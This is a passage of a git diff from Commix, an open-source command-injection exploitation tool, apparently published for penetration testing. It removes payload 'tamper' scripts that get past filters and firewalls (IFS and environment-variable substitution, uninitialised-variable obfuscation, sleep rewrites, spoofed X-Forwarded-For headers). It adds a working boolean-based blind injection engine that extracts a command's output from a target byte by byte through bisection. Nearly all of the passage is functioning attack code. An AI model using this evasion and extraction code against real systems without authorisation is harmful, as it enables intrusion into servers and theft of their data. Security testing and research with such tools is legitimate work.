sys.stdout.flush() - print - - return payload - -# eof \ No newline at end of file diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py deleted file mode 100644 index 144198e69d..0000000000 --- a/src/core/tamper/slash2env.py +++ /dev/null @@ -1,56 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. -For more see the file 'readme/COPYING' for copying permission. -""" - -import sys -from src.utils import settings - -""" -About: Replaces slashes (/) with environment variable value "${PATH%%u*}". -Notes: This tamper script works against *nix targets. -Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/ -""" - -__tamper__ = "slash2env" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - def add_slash2env(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - payload = payload.replace("/", "${PATH%%u*}") - return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_slash2env(payload) - - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - \ No newline at end of file diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py deleted file mode 100644 index 64a74a7cd0..0000000000 --- a/src/core/tamper/sleep2timeout.py +++ /dev/null @@ -1,59 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.utils import settings - -""" -About: Uses "timeout" function for time-based attacks. - * Regarding *nix targets, it replaces the "sleep XX" command with "timeout XX ping localhost". - * Regarding windows targets, it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". -Notes: This tamper script works against all targets. -""" - -__tamper__ = "sleep2timeout" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - def sleep_to_timeout_ping(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.TARGET_OS != "win": - for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): - payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(" ",settings.WHITESPACES[0])) - payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") - else: - payload = payload.replace("powershell.exe -InputFormat none Start-Sleep -s", "timeout") - return payload - - if settings.CLASSIC_STATE != False or \ - settings.EVAL_BASED_STATE != False or \ - settings.FILE_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = sleep_to_timeout_ping(payload) - - return payload - -# eof \ No newline at end of file diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py deleted file mode 100644 index 826f370f3c..0000000000 --- a/src/core/tamper/sleep2usleep.py +++ /dev/null @@ -1,68 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.utils import settings - -""" -About: Replaces "sleep" with "usleep" command in the generated payloads. -Notes: This tamper script works against *nix targets. -Reference: http://man7.org/linux/man-pages/man3/usleep.3.html -""" - -__tamper__ = "sleep2usleep" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - def sleep_to_usleep(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): - sleep_to_usleep = "u" + match.group(0).split(settings.WHITESPACES[0])[0] - if match.group(0).split(settings.WHITESPACES[0])[1] != "0": - usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + "0" * 6 - else: - usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] - payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) - return payload - - if settings.TARGET_OS != "win": - if settings.CLASSIC_STATE != False or \ - settings.EVAL_BASED_STATE != False or \ - settings.FILE_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = sleep_to_usleep(payload) - - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - -# eof \ No newline at end of file diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py deleted file mode 100644 index d7aeb11eb9..0000000000 --- a/src/core/tamper/space2htab.py +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -from src.utils import settings - -""" -About: Replaces space character ('%20') with horizontal tab ('%09') -Notes: This tamper script works against all targets. -""" - -__tamper__ = "space2htab" - -settings.TAMPER_SCRIPTS[__tamper__] = True -if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%09" -else: - settings.WHITESPACES.append("%09") - -# eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py deleted file mode 100644 index 0df13643a2..0000000000 --- a/src/core/tamper/space2ifs.py +++ /dev/null @@ -1,40 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import sys -from src.utils import settings - -""" -About: Replaces space character ('%20') with the internal field separator ('$IFS'). -The internal field separator refers to a variable which defines the character -or characters used to separate a pattern into tokens for some operations. -Notes: This tamper script works against *nix targets. -""" - -__tamper__ = "space2ifs" - -if settings.TARGET_OS != "win": - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "${IFS}" - else: - settings.WHITESPACES.append("${IFS}") -else: - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - -# eof \ No newline at end of file diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py deleted file mode 100644 index 27dc3cc22a..0000000000 --- a/src/core/tamper/space2plus.py +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -from src.utils import settings - -""" -About: Replaces space character ('%20') with plus ('+'). -Notes: This tamper script works against all targets. -""" - -__tamper__ = "space2plus" - -settings.TAMPER_SCRIPTS[__tamper__] = True -if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "+" -else: - settings.WHITESPACES.append("+") - -# eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py deleted file mode 100644 index 7d535c8375..0000000000 --- a/src/core/tamper/space2vtab.py +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -from src.utils import settings - -""" -About: Replaces space character ('%20') with vertical tab ('%0b'). -Notes: This tamper script works against Windows targets. -""" - -__tamper__ = "space2vtab" - -if settings.TARGET_OS == "win": - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%0b" - else: - settings.WHITESPACES.append("%0b") -else: - warn_msg = "Unix target host(s), does not support vertical tab(s)." - print(settings.print_warning_msg(warn_msg)) - -# eof \ No newline at end of file diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py deleted file mode 100644 index 4d3e8a3f3d..0000000000 --- a/src/core/tamper/uninitializedvariable.py +++ /dev/null @@ -1,75 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -import random -import string - -from src.utils import settings - -""" -About: Adds uninitialized bash variables between the characters of each command of the generated payloads. -Notes: This tamper script works against *nix targets. -Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ -""" - -__tamper__ = "uninitializedvariable" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - def add_uninitialized_variable(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "${uv}I${uv}F${uv}S": "IFS", - "${uv}i${uv}f": "if", - "${uv}t${uv}h${uv}e${uv}n": "then", - "${uv}e${uv}l${uv}s${uv}e": "else", - "${uv}f${uv}i": "fi", - "${uv}s${uv}t${uv}r": "str", - "${uv}c${uv}m${uv}d": "cmd", - "${uv}c${uv}ha${uv}r": "char" - } - payload = re.sub(r'([b-zD-Z])', r"${uv}\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) - return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_uninitialized_variable(payload) - - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - \ No newline at end of file diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py deleted file mode 100644 index 712bd936b7..0000000000 --- a/src/core/tamper/xforwardedfor.py +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -from random import sample -from src.utils import settings -from src.core.compat import xrange - -""" -About: Appends a fake HTTP header 'X-Forwarded-For'. -""" - -__tamper__ = "xforwardedfor" -settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(request): - def randomIP(): - numbers = [] - while not numbers or numbers[0] in (10, 172, 192): - numbers = sample(xrange(1, 255), 4) - return '.'.join(str(_) for _ in numbers) - - request.add_header('X-Forwarded-For', randomIP()) - request.add_header('X-Client-Ip', randomIP()) - request.add_header('X-Real-Ip', randomIP()) - -# eof \ No newline at end of file diff --git a/src/core/techniques/__init__.py b/src/core/techniques/__init__.py new file mode 100644 index 0000000000..7cd55728d8 --- /dev/null +++ b/src/core/techniques/__init__.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +# eof diff --git a/src/core/techniques/boolean_based/__init__.py b/src/core/techniques/boolean_based/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/boolean_based/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/techniques/boolean_based/bb_handler.py b/src/core/techniques/boolean_based/bb_handler.py new file mode 100644 index 0000000000..2ed487a710 --- /dev/null +++ b/src/core/techniques/boolean_based/bb_handler.py @@ -0,0 +1,359 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import threading + +from src.utils import settings +from src.utils import progress +from src.core.parse import cmdline as menu +from src.core.controller import checks +from src.core.techniques.boolean_based import bb_injector as injector + +try: + import concurrent.futures + _THREADS_SUPPORTED = True +except ImportError: + # "concurrent.futures" needs Python 3.2+; fall back to serial on Python 2. + _THREADS_SUPPORTED = False + +""" +Everything this technique needs to ask a question, kept together so the bisection below reads as the +search it is rather than as an argument list. +""" +class Channel(object): + def __init__(self, separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): + self.separator = separator + self.prefix = prefix + self.suffix = suffix + self.whitespace = whitespace + self.http_request_method = http_request_method + self.url = url + self.vuln_parameter = vuln_parameter + + def ask(self, payload): + return injector.ask(payload, self.prefix, self.suffix, self.whitespace, + self.http_request_method, self.url, self.vuln_parameter) + +""" +Whether the target answers a question it was never asked before differently from one it was. + +Two questions with known answers, and the page has to tell them apart - otherwise what is being read +is not an answer at all, and everything bisected on it would be noise. +""" +def confirm(channel): + payloads = checks.boolean_based_payloads() + holds = channel.ask(payloads.condition_check(channel.separator, holds=True)) + fails = channel.ask(payloads.condition_check(channel.separator, holds=False)) + if holds is None or fails is None: + return False + return holds is True and fails is False + +""" +One question, asked again once before being given up on - a page that reads as neither true nor +false is more often a transient hiccup, concurrent requests contending for the same target resource +especially, than a real absence of an answer. The same payload both times, not a freshly-built one: +rebuilding it would count as a second step to a caller that renders one dot per step, and this is +still the one step retrying. +""" +def _ask(channel, payload): + answer = channel.ask(payload) + if answer is None: + answer = channel.ask(payload) + return answer + +""" +The largest N the answer is still yes for, found by halving rather than by counting. +""" +def _bisect(channel, question, low, high): + found = None + while low <= high: + middle = (low + high) // 2 + answer = _ask(channel, question(middle)) + if answer is None: + return None + if answer: + found = middle + low = middle + 1 + else: + high = middle - 1 + return found + +""" +How many bytes the command's output is. + +Bracketed by growing a span first, rather than bisecting the whole of '--maxlen' outright: a short output +is then found in about as many questions as its own length takes to double past, not in however many +the ceiling itself would need, and what the search costs reads as the answer's own size instead of a +constant no output's length would ever explain. +""" +def output_length(channel, cmd, ceiling=None, payloads=None): + ceiling = int(ceiling or settings.MAXLEN) + payloads = payloads or checks.boolean_based_payloads() + info_msg = "Retrieving the length of execution output" + info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + # A dot per question, the way the techniques that wait for their answer mark theirs off. + def question(candidate): + asked = payloads.get_length(channel.separator, cmd, candidate, operator="-ge") + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + return asked + low, high = 0, 1 + """ + Nothing caps the growing but implausibility - what this run is willing to read is a limit on the + reading, and is applied to that below. Capped here instead, the search had an upper bound nothing + had answered for: an output exactly that long settled one character short of itself. + """ + sanity = settings.MAX_INFERRED_LENGTH + while high <= sanity: + answer = _ask(channel, question(high)) + if answer is None: + return "" + if not answer: + break + low = high + high *= settings.LENGTH_SEARCH_BASE + else: + # Yes all the way up is an oracle agreeing with whatever it is asked, not a very long output. + return "" + length = _bisect(channel, question, low, high) + if length and length > ceiling: + settings.INCOMPLETE_OUTPUT = True + warn_msg = "The output is " + str(length) + " characters long, and this run reads " + warn_msg += str(ceiling) + " of them. Re-run with a higher '--maxlen' to read the rest of it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + length = ceiling + if length and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + if length and length > 1: + settings.print_data_to_stdout(settings.print_info_msg("Retrieved: " + str(length))) + return length + +""" +One byte of the output, found by bisecting its ordinal. + +Over whatever pool the run is working with, which '--charset' narrows: a byte known to be one of a +handful of characters sits in a far shorter range than a printable one, and every halving of that +range is a request not sent. The same pool the time-related techniques read, so an answer given +once holds whichever of them ends up asking. +""" +def _byte_at(channel, cmd, position, payloads=None, seen=None): + payloads = payloads or checks.boolean_based_payloads() + question = lambda candidate: payloads.get_char(channel.separator, cmd, position, candidate, operator="-le") + exact = lambda candidate: payloads.get_char(channel.separator, cmd, position, candidate, operator="-eq") + char_pool = sorted(set(checks.generate_char_pool(position))) + low, high = char_pool[0], char_pool[-1] + + """ + What the output has already turned out to be made of, asked about before the pool is halved at + all - the delay-based technique reads its own bytes this way, and this one used to pay the full + halving for every position however many times the same byte had already come back. + + The set itself is halved, which is a question or two where the pool would have been seven, and the + answer is the equality question's own - so a guess that was wrong costs those questions and + nothing else: the halving below still runs, exactly as it did before. Which is also why it is + asked only of an output whose bytes actually repeat: paid for at every position and collected at + few, it is slower than the halving it was meant to save. + """ + if seen is not None: + narrowed = checks.narrowed_characters(seen) + if narrowed: + index = _bisect(channel, lambda position_in_set: question(narrowed[position_in_set]), 0, len(narrowed) - 1) + if index is not None and _ask(channel, exact(narrowed[index])): + return narrowed[index] + # A pool with nothing missing between its ends is its own range, so it is halved directly rather + # than by index. The answer is still asked for by name: what the halving cannot tell apart is a + # byte inside the pool from one above it, and that is true of a pool with no gaps as much as any. + if high - low + 1 == len(char_pool): + candidate = _bisect(channel, question, low, high) + return _confirmed(channel, cmd, position, payloads, candidate, low, high) + # Otherwise the gaps would be halved away too, which costs more questions than the pool has + # characters. The members themselves are halved instead - log2 of their number rather than of the + # span they are spread over - and one more question confirms the character found is the output's + # own, rather than the nearest one below it that the pool happens to hold. + index = _bisect(channel, lambda position_in_pool: question(char_pool[position_in_pool]), 0, len(char_pool) - 1) + if index is not None: + candidate = char_pool[index] + if _ask(channel, payloads.get_char(channel.separator, cmd, position, candidate, operator="-eq")): + return candidate + # The byte is not one of the pool's members, so it sits in one of the gaps the halving above + # skipped over. Found the long way rather than given up on: a charset is a statement about what + # the output is mostly made of, and a character it did not account for is still worth reading. + candidate = _bisect(channel, question, low, high) + return _confirmed(channel, cmd, position, payloads, candidate, low, high) + +""" +The answer, once it has been asked for by name rather than by range. + +The halving asks whether the byte is at least some ordinal, so a byte above everything the pool +holds answers yes to all of them and the search climbs to the pool's own last character - which is +a wrong answer wearing the shape of a right one. Confirming it costs one question, and where it +fails the byte is looked for in the range it can still be: output is mostly ASCII, which is why the +pool stops there, but a byte that is not is worth reading rather than reporting as a '~'. + +A byte under the pool's first character is the same answer from the other end: it answers no to +every member, so the halving settles on nothing at all rather than on a character stood in for. +""" +def _confirmed(channel, cmd, position, payloads, candidate, pool_low, pool_high): + exact = lambda value: payloads.get_char(channel.separator, cmd, position, value, operator="-eq") + question = lambda value: payloads.get_char(channel.separator, cmd, position, value, operator="-le") + # Nothing the pool holds was answered yes to, so the byte sits below the first of them. + if candidate is None: + if pool_low <= settings.LOWEST_BYTE or not checks.char_pool_expands(): + return None + below = _bisect(channel, question, settings.LOWEST_BYTE, pool_low - 1) + if below is not None and _ask(channel, exact(below)): + return below + return None + if _ask(channel, exact(candidate)): + return candidate + # Only the pool's own last character can be standing in for something above it, and only a pool + # of commix's own is widened to go looking: a byte outside one the user wrote out was not asked for. + if candidate != pool_high or not checks.char_pool_expands(): + return None + above = _bisect(channel, question, pool_high + 1, settings.HIGHEST_BYTE) + if above is not None and _ask(channel, exact(above)): + return above + return None + +""" +The command's output, one byte at a time, each found by bisecting its ordinal. + +Nothing is waited for and nothing is written anywhere: every byte costs the questions it takes to +halve the range it sits in, which is what makes this the cheapest of the blind channels. + +Where the run was given threads, the bytes are read at the same time as one another. Each byte's +own search is a sequence - a half answered before the next is asked - but no byte's search depends +on another's, and nothing here is being timed, so requests that overlap cost the answer nothing. +That is what the time-related techniques cannot do: for them, overlapping requests are the +measurement. +""" +def retrieve(channel, cmd, length=None, payloads=None): + workers = settings.THREADS if (settings.THREADS > 1 and _THREADS_SUPPORTED) else 1 + # Said before either un-timed phase below spends a request - the length search included, not + # only the byte-by-byte one - since only there is it still useful advice. + if workers == 1 and not settings.BOOLEAN_THREADS_SUGGESTED: + settings.BOOLEAN_THREADS_SUGGESTED = True + info_msg = "Nothing here is timed, so '--threads' asks for several bytes at once without costing accuracy." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + length = output_length(channel, cmd, payloads=payloads) if length is None else length + if not length: + return "" + positions = list(range(1, length + 1)) + base = "Retrieving the execution output" + resolved, lock = {}, threading.Lock() + eta_bar = progress.ProgressBar(maxvalue=length) if menu.options.eta else None + if eta_bar is None and length > 1: + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(base + ": ")) + + # Assembled in position order once retrying is done - a position that stayed unresolved is marked + # rather than dropped, the same way the time-related techniques mark theirs: a silently shorter + # output is indistinguishable from a real value. + def _so_far(): + out = "" + for position in positions: + ascii_char = resolved.get(position) + if position not in resolved: + break + out += settings.UNRESOLVED_CHAR if ascii_char is None else chr(ascii_char) + return checks.decoded_byte_output(out) + + # Rendered the way the time-related techniques render theirs, and for the same reasons: a byte not + # asked for yet is "_", one that could not be read is marked, a character that cannot be shown as + # itself becomes a space, and only the tail of a long output is kept - a line that is rewritten in + # place has to stay on one line, which a newline or an overlong output would take it off. + def _display(): + chars, furthest = [], 0 + for index, position in enumerate(positions, 1): + if position not in resolved: + chars.append("_") + continue + ascii_char = resolved[position] + if ascii_char is None: + chars.append(settings.UNRESOLVED_CHAR) + else: + char = chr(ascii_char) + chars.append(char if char.isprintable() else settings.SINGLE_WHITESPACE) + furthest = index + return checks.progress_display_text(chars, furthest, length) + + def _note(): + with lock: + if eta_bar is not None: + eta_bar.progress(sum(1 for position in positions if resolved.get(position) is not None)) + else: + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(base + ": " + _display())) + + # One memory for the whole output, so a byte read at one position makes the next one cheaper. + seen = checks.new_observed_characters() + + def _resolve(position): + ascii_char = _byte_at(channel, cmd, position, payloads=payloads, seen=seen) + resolved[position] = ascii_char + checks.record_observed_character(seen, ascii_char) + _note() + + if workers == 1: + for position in positions: + _resolve(position) + else: + with concurrent.futures.ThreadPoolExecutor(max_workers=min(workers, length)) as executor: + list(executor.map(_resolve, positions)) + + # A position with no answer is usually a transient miss - a lagging response, or one worker's + # request read as another's - so each one is asked again, alone, whether or not the first pass was + # threaded. Every position failing is a systematic failure instead, and asking the same oracle + # twice would only spend the requests again. + failed_positions = [position for position in positions if resolved.get(position) is None] + if failed_positions and len(failed_positions) < len(positions): + info_msg = "Re-attempting " + str(len(failed_positions)) + " character" + info_msg += "s"[len(failed_positions) == 1:] + " that returned no answer." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if workers == 1: + for position in failed_positions: + _resolve(position) + else: + with concurrent.futures.ThreadPoolExecutor(max_workers=min(workers, len(failed_positions))) as executor: + list(executor.map(_resolve, failed_positions)) + failed_positions = [position for position in failed_positions if resolved.get(position) is None] + + if failed_positions: + settings.INCOMPLETE_OUTPUT = True + warn_msg = str(len(failed_positions)) + " of " + str(len(positions)) + " character" + warn_msg += "s"[len(positions) == 1:] + " could not be extracted (no answer was ever read for " + warn_msg += ("them" if len(failed_positions) != 1 else "it") + ", on a second attempt either) - " + warn_msg += ("they are" if len(failed_positions) != 1 else "it is") + " marked '" + warn_msg += settings.UNRESOLVED_CHAR + "' in the retrieved output below." + if menu.options.charset: + # Said here rather than left to be guessed at: a character the given charset leaves out cannot + # be found however many times it is asked for, and reads exactly like an oracle that misfired. + warn_msg += " The run was given '--charset', and a character the output holds but that set" + warn_msg += " leaves out is never found - which is what this looks like." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + output = _so_far() + if settings.VERBOSITY_LEVEL == 0: + settings.close_progress_line() + return output + +""" +The exploitation function. +(call the injection handler) +""" +def exploitation(url, timesec, filename, http_request_method, injection_type, technique): + from src.core.controller import handler + return handler.do_boolean_based_process(url, timesec, filename, http_request_method, injection_type, technique) + +# eof diff --git a/src/core/techniques/boolean_based/bb_injector.py b/src/core/techniques/boolean_based/bb_injector.py new file mode 100644 index 0000000000..ad5201e336 --- /dev/null +++ b/src/core/techniques/boolean_based/bb_injector.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.core.requests import requests +from src.utils import settings +from src.core.controller import checks + +""" +Send one question and read the answer off the page the target renders. + +None where the answer cannot be read at all - a request that never arrived, or an oracle the run was +never given - which is not the same as a no and must not be bisected on. +""" +def ask(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): + return answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter)[0] + +""" +The same question, with the name of the parameter the payload turned out to land in. + +Worked out by the request rather than guessed at here, which is what lets a finding be reported +against the parameter it was actually found on. +""" +def answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): + """ + '--null-connection': the length off the 'Content-Length' header is read back without the body - + worth it only once the page itself is large enough that a fresh connection per request costs + less than the transfer it avoids (settled once, in 'calibrate_boolean_oracle'). 'Content-Length' + has to name the same (uncompressed) size the calibration lengths were measured on, so compression + is turned off for this one request - asked for it, a compressed response would carry the size on + the wire instead, which is not what the two reference lengths were measured against. + """ + use_null_connection = menu.options.null_connection and settings.NULL_CONNECTION_WORTHWHILE + if use_null_connection: + saved_compression = settings.PAGE_COMPRESSION + settings.PAGE_COMPRESSION = False + try: + response, vuln_parameter, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + finally: + if use_null_connection: + settings.PAGE_COMPRESSION = saved_compression + if response is False or response is None: + return None, vuln_parameter + if use_null_connection: + try: + length = int(response.info().get(settings.CONTENT_LENGTH)) + code = response.getcode() + except (TypeError, ValueError): + length = None + else: + response.close() + return checks.boolean_oracle(None, code, page_length=length, headers=response.info()), vuln_parameter + try: + page = checks.remove_reflected_values(checks.decode_page_body(response.read(), response), payload) + code = response.getcode() + answered_headers = 